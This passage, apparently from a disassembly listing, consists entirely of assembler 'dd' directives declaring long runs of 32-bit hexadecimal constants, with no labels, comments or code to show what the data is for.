		dd 0EFEA5311h, 3E5586E1h, 793DC7DEh, 0B19D5B30h, 5386D966h
		dd 4DD67287h, 0F89AF6F7h, 34D65ED7h, 0E12146F4h, 4C6DCCE2h
		dd 0ECC8C1Eh, 0A846D28Fh, 0F3B81966h, 71E795F5h, 7120989Bh
		dd 92A54FA6h, 429AFB39h, 0C0A5FC9Bh, 5D98B9F0h,	94838E96h
		dd 655D1AF6h, 451177B3h, 8F081369h, 2D0EF12Eh, 54496481h
		dd 725F562Fh, 911FD67h,	6C82CA69h, 64FC9F1Dh, 90B184E0h
		dd 32DD5D78h, 8A55C4CFh, 3301C729h, 0A975DDECh,	119035Eh
		dd 0E40D8647h, 0D480ABA7h, 0E248D93Ch, 891A9759h, 43391204h
		dd 0BE626FC3h, 0D4F463BCh, 0BAD8D4F9h, 284C439Fh, 4D386394h
		dd 88232D16h, 7DEE7FF8h, 0FFD40C44h, 0B24D90EBh, 0CBA360Ah
		dd 0BF5EB52Ah, 0C49B9717h, 574A5E77h, 52E66A69h, 7E4C1486h
		dd 22568226h, 813F1036h, 4B4D658Ah, 3A54B7C2h, 5BC4EE76h
		dd 0E37FD066h, 0C79A0826h, 0F643A75h, 93A320C2h, 71744593h
		dd 0A24DB612h, 76DE7EEFh, 0EF5DD986h, 0B8554A53h, 394966DBh
		dd 9A3DC726h, 0B73F8F46h, 8BF55FA9h, 0DE105D52h, 63FF4033h
		dd 0E05DAC83h, 27C5C906h
		dd 0A8421515h, 0D852E786h, 53D87D3Dh, 0A609BE82h, 62D35C0h
		dd 51549D11h, 279AAF14h, 0B4ADA327h, 4E13D7A9h,	248C1229h
		dd 1E726513h, 0F621BFEFh, 0D7AA4AEh, 119AD1E2h,	5DFC98C3h
		dd 879F31D8h, 102725Dh,	0A3A216D3h, 0D0B5A57h, 0D6F92756h
		dd 80ADB5E6h, 42E0D82Eh, 0A8423EBEh, 3EF9A847h,	0ED349D94h
		dd 0DE29CA50h, 0A4CA0BA6h, 0D6A3CE7Fh, 0C10FBF7Fh, 3FAC2C8Ch
		dd 5FF37911h, 9BF0A75Eh, 64167A63h, 0EB0B24C4h,	6DA78FDEh
		dd 2372E0DCh, 0C84ADF5Ah, 8FF78436h, 58A2BBB9h,	20D493ACh
		dd 0B5707CC5h, 3EDF889Ah, 0D24073Bh, 5DD3FF8Ah,	0BA9D1E09h
		dd 787A794Dh, 53D15A5Bh, 841403A9h, 89C4C7DCh, 8F169763h
		dd 939D98E7h, 32077EBEh, 0D38F8808h, 34F8175Dh,	159D7CF8h
		dd 7F7F1F39h, 0D1F80756h, 0D186328Eh, 2F773605h, 0DA82F490h
		dd 4EA81C8Dh, 5A135E67h, 51C3C1A3h, 90B8E1C7h, 0F6F8EA5h
		dd 8CDA7ABBh, 32EFD6D4h, 0DCC952CBh, 0D6A77CA7h, 0BB5DC9E1h
		dd 1A706BC7h, 0B0C83232h, 6175BC0h, 12265F8Fh, 0AF47EA7Dh
		dd 1B520B6Ah, 4E10660h,	0EE9743AEh, 6C5820F5h, 16AFB346h
		dd 30AE69BEh, 0D0D4DD41h, 7C23281Ch, 0C0ECFC04h, 34455DE1h
		dd 413A79EAh, 88066E50h, 0F9485AA4h, 3ED83D8Bh,	0FD611E45h
		dd 1348CC58h, 887C3BFBh, 38A6E678h, 3759F7C9h, 0C8BE2B0Bh
		dd 1C917707h, 6D5A7BCh,	840EB1B3h, 52E9D70Fh, 21233011h
		dd 1F4B0C64h, 7CC32A3Fh, 5698EC47h, 0F80B491Eh,	0DAC6F2E6h
		dd 0BD0F5D24h, 2049D89Fh, 0C0142E6Ch, 22241280h, 80E77692h
		dd 1126FDB8h, 0EB23A62Ah, 53AB40D3h, 90108DF1h,	44214034h
		dd 0A7B9B526h, 0A2694640h, 0E5D4D764h, 25310848h, 59946B42h
		dd 0A0AE077Bh, 3DBB9691h, 6F10AFD2h, 3D783A05h,	84B657B7h
		dd 0C7C062B4h, 5B693F6Eh, 0BDF927BDh, 6F6A6221h, 0B5E493DEh
		dd 0BB496428h, 66E9F585h, 409D1BC8h, 9519BF7Bh,	577557D0h
		dd 264219DBh, 84CAF33Ah, 0AE7FB46Eh, 52454F57h,	0CBA70984h
		dd 5C77F353h, 24572193h, 54E0C7ADh, 0B2494E95h,	0C47D5D21h
		dd 72B9E061h, 2220F651h, 12AB1736h, 37510850h, 0AA392D07h
		dd 3A9AB004h, 7CB01835h, 0ED4B2165h, 0AF7BCBC3h, 0A307C89Ah
		dd 80A3F0EFh, 836CE538h, 631F7337h, 0AE65E5D5h,	0DEE9354Ah
		dd 0E0F8214Dh, 1A83274Ch, 7E6E6B9Eh, 53BA2C94h,	11FEE9F8h
		dd 0C2F8DE98h, 0B382A96h, 60500FBAh, 34EF4B7Eh,	0F02EE33Fh
		dd 3D6CCF72h, 17496763h, 5B4804FAh, 0C6C5AB13h,	0EDA6694Ch
		dd 0E14E5658h, 5A0F1AF4h, 9AAB7DFCh, 8B3A487h, 0BF2A247Dh
		dd 0CAE25BB5h, 47513705h, 0F224CB18h, 0B8514022h, 46495901h
		dd 41DD585Ah, 0CD01D37Dh, 86EC83DEh, 2A936E38h,	335AE878h
		dd 539BF153h, 0D15B98DDh, 0D6E4BFE5h, 188ED65Eh, 7A99FBC2h
		dd 0E9CD3530h, 41BC8DC1h, 0E2DBBD18h, 0A29E01E2h, 0E88410C6h
		dd 7FC82758h, 0D9FE91E6h, 0C720134Eh, 106BE624h, 63A79A83h
		dd 423BCA3Ah, 0D9270E2h, 3D85754h, 3F11AED9h, 83BEAFDFh
		dd 8267BA8Bh, 4FF4AB02h, 8DAD4A5Bh, 6DC77E0Eh, 60D8BFB6h
		dd 8794AFA6h, 0FAA4146Fh, 6DCE62F5h, 5B5F52C4h,	0F22EBD63h
		dd 0C9507D18h, 545EBA6Eh, 0DF4C300h, 6B45155h, 3130FAD8h
		dd 0A020CEEFh, 0A05CF6F8h, 62782C99h, 2D3EE0BDh, 9769704Ch
		dd 865CC673h, 1F0CAE17h, 0B4B4C672h, 0EB936BAFh, 3A135EC8h
		dd 0E5CFABE5h, 4337B02Eh, 725A5ABFh, 0E6E1D632h, 0C3D6A2BDh
		dd 0B7583980h, 10E6E8CCh, 7E09A8BCh, 0DAB238FCh, 3ECF6E9Fh
		dd 0A01A3A3Ah, 4DD034E1h, 2BBD67D9h, 16EC6CE8h,	69CB35A9h
		dd 0B7D5CA73h, 97B918E0h, 9FC910F5h, 0F02CDF41h, 2607A8A8h
		dd 0BD74A210h, 9F914942h, 4A3F3559h, 6463A654h,	5D1F8AACh
		dd 29DCCFD5h, 0FBADDA3Fh, 7FBB999Ah, 0A8BE405Ch, 0B5565D5Ah
		dd 85399F6Dh, 0C2112BF4h, 0E9978A1Dh, 8A8723A4h, 7E474F18h
		dd 4B973BE0h, 99D02F1Bh, 0DC42D656h, 0F1909E18h, 23F18C7h
		dd 28AA4E73h, 0E9DA3B69h, 43DFAA46h, 37ABC716h,	0FC58130Fh
		dd 0A5A47BF0h, 0B2B44F6Fh, 3EB239BAh, 0C291F816h, 13A6FE09h
		dd 146379E7h, 87EEB4ADh, 4887FAE0h, 878E8315h, 0A255507h
		dd 0D6D230E6h, 5D8E2AB1h, 0BF6C0576h, 727B941Ch, 3226E1C9h
		dd 462408B3h, 59CADA7Ch, 0B9A83F92h, 1043E56Bh,	0AFC52DDCh
		dd 0F4D93893h, 0EC9D666Ah, 34820254h, 0DD5630E0h, 569C2E6Ch
		dd 0BF6A3549h, 8E04D661h, 5A9F96A2h, 9218C0ABh,	4038A4A4h
		dd 4B7A700Bh, 59A01CB3h, 0A73491B1h, 1DB3FBBAh,	687F77F9h
		dd 4F542193h, 306C9F78h, 0B0E50A79h, 0E571CF6Ah, 8BFB5919h
		dd 5048D9BDh, 0C24425F2h, 7A2502C9h, 9BF9C17Bh,	0E391F80Ah
		dd 6E53A8B2h, 84C6315Dh, 0B662A331h, 0A10C7C61h, 7FC3D752h
		dd 7A4B77F7h, 2603A268h, 76E2A8DEh, 9559B868h, 50048054h
		dd 75700B63h, 0C06E8190h, 4C09B062h, 4271D6F5h,	322B31C0h
		dd 8124B267h, 47E08FAAh, 0E1043339h, 1F9C4723h,	0B37ADD1Ch
		dd 0E8C7777Dh, 5E6F19E2h, 0F1DC13EFh, 0C7CE0567h, 4BFFF651h
		dd 6612AF56h, 28A14512h, 0D0DA07h, 0A80F187Bh, 437F6D01h
		dd 0CEEA794h, 0C975E587h, 76C09085h, 0A50E3FD4h, 8A74897Ch
		dd 1AF54AAh, 52D019A3h,	0C4001EEAh, 1CB971A1h, 0F6D83635h
		dd 0B4E9219h, 72EE1584h, 0CE1EDA0Fh, 68DAA707h,	0D4D39577h
		dd 63365B5Ch, 79D6517Ch, 84E420B6h, 0F3B69B9h, 0D855FF27h
		dd 0BBC9AE86h, 0BA68500Bh, 1B53D11Bh, 5049B2EAh, 0A7826914h
		dd 3766E186h, 74608D7Fh, 14F653F4h, 0DBCCCBA6h,	624E16DDh
		dd 3930CFCFh, 0E18A515Dh, 0E9B480CBh, 0C09E3BD0h, 0FAA4173Ah
		dd 0BB75894Ah, 7E34BE00h, 925CC59Ah, 291DB052h,	0FE881363h
		dd 91D8DFD4h, 9299E0B0h, 6CB406A3h, 97815D5Dh, 0F0A5C7A1h
		dd 0AC3D450h, 4042C917h, 87B3763h, 0EE795225h, 0B21C3AF1h
		dd 7C373DCFh, 12A2B9BCh, 0EA9F76B7h, 81F79660h,	81D0B1EFh
		dd 0C242BD6Dh, 0C84AF4B4h, 0F2F7006Dh, 0C91E0A0Ah, 0D9FC89BAh
		dd 1833A5E9h, 5E8A24C7h, 1C1BDBEAh, 731522DDh, 23D4EB8Eh
		dd 0BF912CB7h, 0D8E39567h, 98FFFAC1h, 78BCB9B7h, 5939926Ch
		dd 0A2FC80BBh, 0D176747Ah, 56216815h, 93E314A0h, 0C3DE6FBAh
		dd 0F248F4ADh, 623E8752h, 993A2787h, 0AA6ADD0Dh, 53B10554h
		dd 64F85621h, 0E3F74C93h, 0DD4E3ADAh, 0B91ECB04h, 44653FCEh
		dd 343FD415h, 416E016Bh, 4B7B6C25h, 7418E4DAh, 6D96B9C5h
		dd 0F0AC4798h, 4F573F0Bh, 316C01B1h, 88290C12h,	0D69345F3h
		dd 9FDF2EB6h, 0EFC6A869h, 0F1178956h, 324E8E6Ch, 24F4B8B1h
		dd 48B9A5C1h, 0CE203C5h, 0BF5AF7F3h, 0EC182855h, 0EAC14F55h
		dd 10F5C82Ah, 96F3B84h,	0DB348727h, 4E45AE4Ch, 88ACDA35h
		dd 0F2DA8C18h, 202C2484h, 0EFDF9FEEh, 0E58CC102h, 0FB78B9A9h
		dd 2181CACEh, 1D89AF6Fh, 65A2DA9Eh, 0DEAB1D4Bh,	0C23DBA9Fh
		dd 0EAE19C53h, 526C4351h, 55B03A42h, 0DC4220DAh, 26187620h
		dd 3D20D115h, 86E11A7Bh, 0E87C25D1h, 3F7A3A2Ah,	0AD14A16Bh
		dd 0F632DEFh, 0FF954932h, 63546B85h, 9E56E5CBh,	0B3D45F37h
		dd 5672D2F6h, 0AD68827Bh, 0FD77C460h, 18E80FD9h, 0ECB6A9E9h
		dd 3154591Bh, 2803BF19h, 2EDAC719h, 4D2198DCh, 24D99C81h
		dd 9B10C957h, 6BFAB760h, 6C3526D9h, 0BB3880E3h,	0D31FF557h
		dd 60C30A68h, 0A1B13A2h, 0B61AA313h, 8FD511D1h,	26E88688h
		dd 45FD728h, 5E352C3Dh
		dd 8BFE119Ah, 0E6E7A74Ah, 15A9CADBh, 98CB9Fh, 0C133540Fh
		dd 387992B4h, 7CDB7C98h, 3144168Ah, 0C0208F6Dh,	98341C30h
		dd 0D2C0509h, 38E374E6h, 4CB327CFh, 9707C028h, 9EA23323h
		dd 5A3E1F14h, 0C3BB688Ah, 5C44610Ch, 9654DA8Ah,	62313DD2h
		dd 69E95B98h, 18B8A600h, 0F2984C0h, 0BE0B304h, 1D8FC464h
		dd 0AB7FEDBCh, 0B333480Ch, 2E61CB48h, 65CF08FFh, 0D89A6FD7h
		dd 7017E810h, 1E75A9ACh, 69C55793h, 0B06A4EC3h,	879DF5h
		dd 0D1EAAC98h, 626208E1h, 6F8108C0h, 26A1E80h, 11CEAD58h
		dd 35634948h, 4E50E45Ah, 8A6F6612h, 8A4ECD59h, 9BC34336h
		dd 770AFBB0h, 185A648Bh, 0C6F970h, 0FA805F58h, 0A4E053C6h
		dd 0D4EE2BCh, 0B7E63AB6h, 0F482E3F4h, 0C6A217C7h, 8C293DA4h
		dd 2FCEA9BCh, 0DECEA523h, 9ED510D4h, 0F510D402h, 1F2A1104h
		dd 692C10ABh, 9381FE2h,	97BB2A43h, 9C01E8C0h, 0A16B4421h
		dd 233BE6Dh, 0F8FCBA2Bh, 0C388F896h, 0E0527B9h,	698105C7h
		dd 560381CCh, 0DE8B2DAh, 241D9789h, 2DD1A333h, 0BA893DBh
		dd 0FD4AB04Ch, 5CF2A7D9h, 68CE7FBEh, 5167FD15h,	0C365F250h
		dd 0E80D824Eh, 0A7849FC1h, 382664B9h, 0C13E6FAh, 14CE5866h
		dd 1B8DEE82h, 9DBBEF37h, 0B014CA86h, 513BF558h,	84A70253h
		dd 2279EDC7h, 0B57912Eh, 4DBA45BEh, 2A50DC0Bh, 55DF2991h
		dd 0F10796FDh, 6CE9B144h, 0AA218778h, 0FE499ABh, 0B8F182EDh
		dd 7F5ECA2Ch, 8C0740E2h, 0E80EF3B4h, 3C270584h,	0F0B12C8Bh
		dd 83351904h, 34FF0F6Bh, 0D689293h, 5DFF73h, 0CCBFEA7Eh
		dd 0B4845656h, 45500392h, 413800C0h, 0D188BCEEh, 340BE740h
		dd 8486445Ah, 0D79B8B69h, 98AFC356h, 12DF2200h,	0B7911BA1h
		dd 25B22884h, 7D653826h, 0ADA54852h, 0DC2C402Bh, 6C620C1Eh
		dd 6F6357F4h, 13522C87h, 3E5E39EEh, 6985C520h, 95181CBBh
		dd 2871A8FFh, 3F373722h, 789D06E8h, 0EDB5F73Eh,	7FCC285Dh
		dd 4C31F8A4h, 0E9CFAF5Eh, 0A743D189h, 85C16C25h, 13314CDAh
		dd 0A569DD14h, 6A347810h, 0AD3CD59Fh, 6C250E68h, 390B2452h
		dd 0D0588979h, 96B19B82h, 0E0F4F319h, 57996EC0h, 23ADCA76h
		dd 7A407FD8h, 0A43D32D0h, 0C3E965F6h, 12233A2Ah, 6E5DF343h
		dd 9F917225h, 0CE168BCCh, 0E2F681A0h, 9D8E266Dh, 0F0FF8FB5h
		dd 0DFC896B0h, 992B0562h, 83F57D1Ah, 0D39609D8h, 3166AC8Ch
		dd 0A3BE7565h, 0E73BC597h, 12E6F184h, 0E22B6E36h, 61B1CDC9h
		dd 972B5B18h, 0CCBA1D0Fh, 1105C604h, 347A9578h,	443FFE37h
		dd 57BA1CEEh, 364B6A20h, 847ADC17h, 0CCD891BFh,	2375E8F1h
		dd 9E2165C4h, 8031135Eh, 0A9B56C05h, 962F08D7h,	0CF00B67Fh
		dd 76B605BDh, 7D12792Ah, 21856588h, 7735125Eh, 0E7F8F2FDh
		dd 0BF620B84h, 2FF12D77h, 9D7FD676h, 62669881h,	220594C7h
		dd 9891B18h, 0FF9E0B73h, 0B1BD35F3h, 0DD466BA1h, 42C33434h
		dd 9AC8BD56h, 0BD6F7263h, 1CC8DDD0h, 0B277DC61h, 0B922F871h
		dd 9EE8BE81h, 1C65DF5Dh, 0ABCA620Eh, 2E427F1Fh,	29CE9F3Ch
		dd 0C4EEA3B7h, 83B6C216h, 0CB94494Fh, 858C5DAh,	0EE47C52Bh
		dd 26D34EA2h, 63466BBFh, 0CC332CB2h, 7A70D433h,	0DFA9ED03h
		dd 649F8Dh, 3ED720DBh, 23EA5AEAh, 8420881Fh, 0E6CF83A6h
		dd 15036078h, 0BC71F6EFh, 93675437h, 0C2265ACEh, 5041929Dh
		dd 7E1435Fh, 898AEEF1h,	58C920F9h, 9A52F146h, 5DDC8022h
		dd 0D8B112B8h, 9DB9C1B2h, 597F6FBEh, 6378AF4Bh,	5A5BD65h
		dd 5498D652h, 3410DADEh, 7820F7AFh, 5A58F395h, 85C2623Ch
		dd 0F0E97851h, 8098BFEAh, 0E683312Dh, 0CCC506B7h, 0C040E037h
		dd 20967544h, 14AA948Fh, 34C0DFBDh, 0C72715BDh,	8B4DEA34h
		dd 867A8CAEh, 0FF3E5825h, 7E018A87h, 0B4EE31BDh, 0EF396DA6h
		dd 0E6929792h, 0A3658200h, 5E42EBBEh, 59F4FBD9h, 8EB97B79h
		dd 5645F82Fh, 2000C2A6h, 2CF648A5h, 59B3E725h, 0D8408E13h
		dd 9867F0A7h, 15B3450h,	0F21BC524h, 36559C25h, 4A0D6328h
		dd 0B5AD969Eh, 492504C2h, 0CC14C37Eh, 0F1D6C9Fh, 7D5D4623h
		dd 273FE55h, 42D5048Ch,	1CEEA7EBh, 1A81ADAAh, 32C553Dh
		dd 277DA0Ch, 9489E2E1h,	0C236B280h, 861B53E5h, 43B0C4CAh
		dd 0FFACF32Eh, 53B93939h, 0FEBEDCF5h, 4D8D5B01h, 5D28B043h
		dd 10D8DBCBh, 538D730Ah, 8CE1B45Eh, 0B24C86CFh,	639C14F5h
		dd 0F7704FECh, 0EA84E9ABh, 82FAA5DEh, 1B976CB7h, 3ADF67ADh
		dd 0CF85AB92h, 0E09664F5h, 0DBE34795h, 4228C467h, 6429674Eh
		dd 0A53869D7h, 0FD8DCEFEh, 43DE2472h, 35CC3162h, 69EDF86Ch
		dd 5EA2D347h, 942C4D2Ch, 5FA1481Ch, 0B563C322h,	0DFCB89E6h
		dd 2340D20Eh, 5C028153h, 473C7154h, 8301AF82h, 6481FFBAh
		dd 8D42C35h, 0F0DB5421h, 0D43D1B79h, 3D4F0223h,	13880936h
		dd 5C78A31Bh, 0D8879E52h, 0FCBA1093h, 6E1368D5h, 23A3FDDEh
		dd 3C6A8EF4h, 0D950EB63h, 0ACBFB7FFh, 145DCA1Eh, 28F5F6B7h
		dd 37796C50h, 13F9466Dh, 0AAD64D7Ch, 8C98AA8h, 0CD686A79h
		dd 0D2A6A001h, 6B2E5B7Ah, 21E4D92Eh, 9979BFE9h,	0F768590Ch
		dd 47347721h, 7FCC4CC3h, 164E2825h, 0E0D40517h,	40D557F5h
		dd 0DB64ED9Bh, 5A59F061h, 0B1F237CBh, 5FC205B5h, 1CDDC69Dh
		dd 47A9F4F7h, 0EC895164h, 0C6BFB963h, 45C9D65Eh, 0B12A16D0h
		dd 62C54925h, 0DD2477F8h, 0E22339EEh, 2BF0A3E0h, 8FFFB6Dh
		dd 8BEE0907h, 3D6666E4h, 3717E2B8h, 0B8C6210Ch,	79366721h
		dd 299FFF8Fh, 105F7C93h, 5E0830B5h, 0A71EDB17h,	0F404F1FCh
		dd 7870AC59h, 0A04DF8CEh, 7C9BE713h, 47EE0F5Bh,	0F060C0Fh
		dd 0D3021E67h, 93FDC057h, 87FE81E0h, 0C9EDCEC7h, 0D85B8E5h
		dd 0AEC450B6h, 0B9DD6BFCh, 5B76F21Bh, 0BC5E7A0Ch, 4E079D63h
		dd 1FFE80E9h, 6D7461E8h, 43C87A4Dh, 48BB944Fh, 0F72EEC8Ah
		dd 0A38E3F49h, 4A7D8E6Dh, 0AF74E8FCh, 0CA4A62D2h, 167F186Bh
		dd 0D3630211h, 0C4C702D5h, 2C765979h, 0AEC71DE6h, 76CB167Eh
		dd 0CF6E3A15h, 838E5CD3h, 47F80A5Bh, 420F1D91h,	8AFCCD19h
		dd 6AD53AA3h, 0EA953538h, 1DBC4E20h, 6C1818Eh, 0B492ABEh
		dd 6525721Ch, 0CFF25689h, 9877E07Fh, 7401B766h,	0AEDF757Eh
		dd 56FE5291h, 7D9C8502h, 8160A30Eh, 3B78D997h, 0F3CE8C4Eh
		dd 48950633h, 0DE7818C1h, 37806265h, 0B0C13651h, 46080E64h
		dd 98D9AF5Fh, 70E105B5h, 5B310483h, 0E5684ABCh,	7C5FEEB0h
		dd 0B89845h, 1FFAE08Ch,	0BDEC7517h, 0E6AAF1F3h,	0C3E4B0FAh
		dd 402428EAh, 26B5F871h, 0E46AA842h, 4AB2AD92h,	0F8B47A33h
		dd 0BA911A6Bh, 26D46F05h, 8F719A98h, 56312D78h,	95691594h
		dd 0D2E78F8h, 0CDEE599Dh, 4A7F892h, 4BA9CADEh, 5621E2A1h
		dd 5C7B7D0Ch, 0CF63409h, 60F06F4Fh, 542B946Eh, 4F7A08BFh
		dd 799AF39Fh, 3357E94Bh, 97BF0368h, 0F5426AB1h,	96ED2C92h
		dd 42F4EA3Ah, 0CAFA47DAh, 3B0C8556h, 4646D87Fh,	0FFF8C611h
		dd 0BFD11B9Fh, 37EAE85Ah, 752530A9h, 52358600h,	898C3583h
		dd 7034B770h, 1E5C2EE8h, 4D09EFE3h, 0A41AFDB8h,	524ECDE9h
		dd 0B142C253h, 0EFA7FF67h, 0C87D2C90h, 4E234664h, 69D97576h
		dd 0A4021088h, 2CF396E8h, 39DCF824h, 3E680BE8h,	16CD6797h
		dd 0E38AB4FDh, 0F9187EEh, 0D212A5BDh, 133BA547h, 950F5980h
		dd 0E4BDB7FFh, 0D33C5E40h, 0CB2F2F5Eh, 2DD079CFh, 4D0BDE3Dh
		dd 408891F4h, 4E7D7C5Ah, 74F55CBFh, 33A7220Ah, 19767B0Ch
		dd 94CE03DCh, 49C2181Dh
		dd 61FDEEC8h, 0F3167BB9h, 0BB3ACABCh, 8036A4D7h, 2E6D1754h
		dd 3CD25F11h, 36348B6Ch, 0C31AB823h, 81AFE6DCh,	39F3C145h
		dd 5DD87337h, 70B030FAh, 9A09F384h, 6DDA33B4h, 0B9669074h
		dd 88776012h, 0D81F6016h, 89709EC9h, 4B771B5h, 907230FBh
		dd 32B8AC0Dh, 547D2107h, 0E57CD6DEh, 0BA808DC3h, 0F59EB3F0h
		dd 0A05ADC1Fh, 4FB5B71Fh, 0E78AE370h, 4863B0BBh, 43FCD36Eh
		dd 86ABB24Fh, 6DE39F7Dh, 98B7D1CAh, 71D06ABCh, 6A688928h
		dd 5C46DA70h, 0ACD2121Fh, 94BAE767h, 0CCC277F6h, 0DE286362h
		dd 13914479h, 0F11D8A57h, 0C8838126h, 311A1D6Eh, 95456986h
		dd 30A0F1F8h, 68981C34h, 8CBEDF6Ah, 5571F418h, 19DBC5C5h
		dd 0DEF42A9Fh, 160887Eh, 57833B2Eh, 0E1C89108h,	48660587h
		dd 80B9D4DBh, 0D92E58E2h, 0F7B68449h, 6FEA610Dh, 54A24CCCh
		dd 0D443B2ECh, 9F999E7Dh, 0FE901F72h, 59EA8B7Dh, 0FF4B8D42h
		dd 5F584F6Fh, 0B9927543h, 92A3D6E8h, 81EE5EE1h,	6532A505h
		dd 0D332F9E7h, 5366F36Ch, 30C7E84Eh, 8113C6Ch, 0C328A7A8h
		dd 46DD39Eh, 3491982Eh,	8D707051h, 0E390A17Ah, 0C1AB47B1h
		dd 3ADC5FDAh, 529CCB78h, 18A0B5F3h, 260BB775h, 0C01B37Ah
		dd 97DB735h, 0F8094D4h,	0DD860ECEh, 0B6FE6A8Ch,	0D85B4475h
		dd 822C739Ch, 0A3412914h, 0A043778Bh, 2C5FF40Fh, 87B84732h
		dd 0A7DBC036h, 0ADBF95BEh, 30C29FD7h, 5275D9A6h, 35F11DE0h
		dd 0CFAB259Fh, 97FA9AD7h, 0BA200271h, 24131821h, 0D2317B50h
		dd 6290AAF9h, 9EC804B2h, 0C6E5020Dh, 9524184h, 471AA7BFh
		dd 8816757Fh, 64BB13E2h, 464B6BB7h, 0A22B00CFh,	856E4BDCh
		dd 0A73E5851h, 5664F7Fh, 0D0C22908h, 0E1F3DE52h, 0F599310Eh
		dd 47D7F752h, 15D5F89Bh, 6725F656h, 0ED19133Dh,	2D15D32h
		dd 85F82C80h, 4BFC4F8Bh, 0FE117CBCh, 0C6876CF0h, 70BB086Eh
		dd 5DC43157h, 0E1B0BEDBh, 0CB39C3DEh, 0A55738Ch, 36A02BADh
		dd 0A96DAAF5h, 7E798C94h, 3DB5C330h, 3DB7FEDFh,	0AE9A257Eh
		dd 53AE6310h, 0B29818ACh, 0E6B82635h, 0EE505A5Fh, 0C05295FCh
		dd 0C3D72B66h, 89FC1266h, 0D852E0EDh, 0AE05DAEAh, 6CE82F09h
		dd 45755480h, 3B168D6Dh, 61B440CDh, 0CAE90238h,	0D2F6D8F9h
		dd 0E4AF5A87h, 0F9BE8FBFh, 5FF9A1BEh, 0E86A9E57h, 6F55A057h
		dd 71A85FEEh, 1E3A603Dh, 0DB1E4DAFh, 9D8C2DECh,	0A24746D4h
		dd 5C9BF440h, 82A9BDD0h, 0A2B454AAh, 3082FA29h,	0F5085607h
		dd 6A61B0E0h, 8AA19122h, 3D8276D3h, 4D78B6E3h, 0D0941A20h
		dd 160D9764h, 0B3ED5D76h, 9D15C108h, 0DE5A60D8h, 59B87475h
		dd 0B203D583h, 73CF11BDh, 45972BAEh, 70F0584Ch,	4DB1290Fh
		dd 607FDC55h, 1AE8B78Dh, 0E222C12Fh, 0D160D912h, 0B9141890h
		dd 0F6A0E82Ah, 16932C56h, 3F3A3D8Ah, 0E613D513h, 0C5596700h
		dd 0BC121E70h, 8FD586BAh, 0C98B9A73h, 0AB5AB14Fh, 5C42437Dh
		dd 4B22F22Bh, 0B575E785h, 0D0BA882Eh, 6D15C619h, 481A8CEDh
		dd 96C515FEh, 5F91C801h, 3CE4E5F2h, 0DBBFDF54h,	0DFB8B780h
		dd 0D228B225h, 7608A2D8h, 616CA983h, 0C532B0A8h, 0F8427200h
		dd 0E3FDE475h, 8C3AA703h, 505F6A60h, 76BC88B3h,	28BA376Dh
		dd 1688E226h, 0EE0F4712h, 2044390h, 67AD1F90h, 56294F23h
		dd 326E41B1h, 6152309Eh, 0AF942260h, 8B59F6C2h,	72EDD242h
		dd 0FD413490h, 0F8692F4Fh, 9D2BD608h, 0F85882E5h, 0E54934F3h
		dd 2C113FDCh, 0F4F23767h, 0E8B3205Ch, 9B062ABCh, 73DCA252h
		dd 0ADC49D62h, 7B9063D8h, 0B772E29Eh, 0ADE4B6Bh, 768BEAAEh
		dd 60DED53h, 54A595EBh,	36ED9F0Bh, 0AF303A3Ch, 745FE4EBh
		dd 84074C6Bh, 0D5BD2AC6h, 0D3D51243h, 0B2E40AF6h, 3D1AB331h
		dd 0CBFB4257h, 0EAEE6639h, 0B867E55Ah, 16DE46B8h, 0F1565C8Dh
		dd 0CFE9A65Fh, 0CC04F251h, 9D833DCDh, 62A1EA42h, 502B6952h
		dd 8B0E21F9h, 4E80ED65h, 0F2B6B444h, 0DE4EC13Dh, 3A98FB34h
		dd 53DC72CEh, 653F065Fh, 88D95B21h, 45F10757h, 180A9659h
		dd 285B5D84h, 3DEA629Ah, 0D34CEA5Eh, 5E4271C2h,	0CC660C32h
		dd 4ED36E18h, 0A98909BFh, 1A94C72Fh, 70B575F1h,	574A9507h
		dd 83040A38h, 19EE25F5h, 2EBCC340h, 0BFFDFF1Fh,	0D3D41B1Bh
		dd 0B2D11943h, 0C37F7F6Ah, 386A4057h, 6A5A3C8Ch, 7F4A7F03h
		dd 0D336313Ch, 3C00B051h, 0A2C17567h, 19C0F172h, 0AD4184BFh
		dd 7D3A2060h, 8FC8EDCDh, 0C360E871h, 0E73831FCh, 86D8C5C3h
		dd 5561640h, 74906BBEh,	0C37DDAC1h, 0D430A1BEh,	16A90E6Bh
		dd 70D61EFh, 1D83A5B9h,	0C810B38Fh, 48F4ADE1h, 0B0837E5Dh
		dd 915CC192h, 958217F2h, 0E3CB1C54h, 0F2AC0EC3h, 96E3D578h
		dd 704E658h, 0B193C72Ah, 9CDF27B3h, 0DA5EBDE9h,	26A9F5BEh
		dd 79D006ECh, 499009BEh, 2F32EA4Bh, 501C29ACh, 0E84ED29Dh
		dd 12E81F23h, 2A593F52h, 0FDC23C17h, 0D0935DC2h, 0AD65940Dh
		dd 9C9EA6A5h, 3DE5E2A2h, 8F1F1FA2h, 1E426159h, 9E8AEDBBh
		dd 0BD879416h, 8C03663Bh, 0FC1FB43h, 5897D2B2h,	790B4ED2h
		dd 27B41CB2h, 0EDE171A5h, 20AB48EEh, 30836C06h,	29679361h
		dd 4F0417E6h, 43FB0583h, 0C0364D2Bh, 0ABC5CB3Fh, 6669F93Fh
		dd 456752C5h, 3D91A74Dh, 6D27D553h, 0CAAC42AEh,	0EB97312Ch
		dd 864A5192h, 5D60FF15h, 7BEF1509h, 851CF742h, 0A1942974h
		dd 0E1144C0Ah, 5A23D66Fh, 0D87DEB2Ah, 694963AFh, 76B5CFA1h
		dd 0A2977FA8h, 2967A74h, 1DB0B8A1h, 8C02C993h, 73A1187Eh
		dd 0AFDB22BDh, 0C1FE29BDh, 524A18E5h, 178B7918h, 0DABF50DDh
		dd 60682794h, 245E25ACh, 0EF7F4A1Ah, 676A8FE6h,	90A56C9Ah
		dd 3D4936F2h, 0CB7191C2h, 2EC05B77h, 0C5F7CD3Eh, 745C217h
		dd 6AE2ECCCh, 8DDCDAEDh, 337165CBh, 0BE372209h,	3CD7C235h
		dd 9C309B32h, 81713669h, 8700DA96h, 3EDF6188h, 0C3568872h
		dd 42DFD979h, 28D5106Eh, 5653B6BAh, 45C63589h, 7BB0AB00h
		dd 0CF567ABCh, 0C1506B7Ch, 5567AC44h, 1505B287h, 1BDAA874h
		dd 6A801F8Dh, 0CBFDE96Bh, 19A9DF30h, 7684D8E3h,	4C572DD8h
		dd 0D4D2A6F6h, 2F2593DDh, 5C863754h, 92CA6C56h,	55D0D4BBh
		dd 8BC6CF8Fh, 0BF9A7030h, 7E37D469h, 2D444D85h,	6E847ECFh
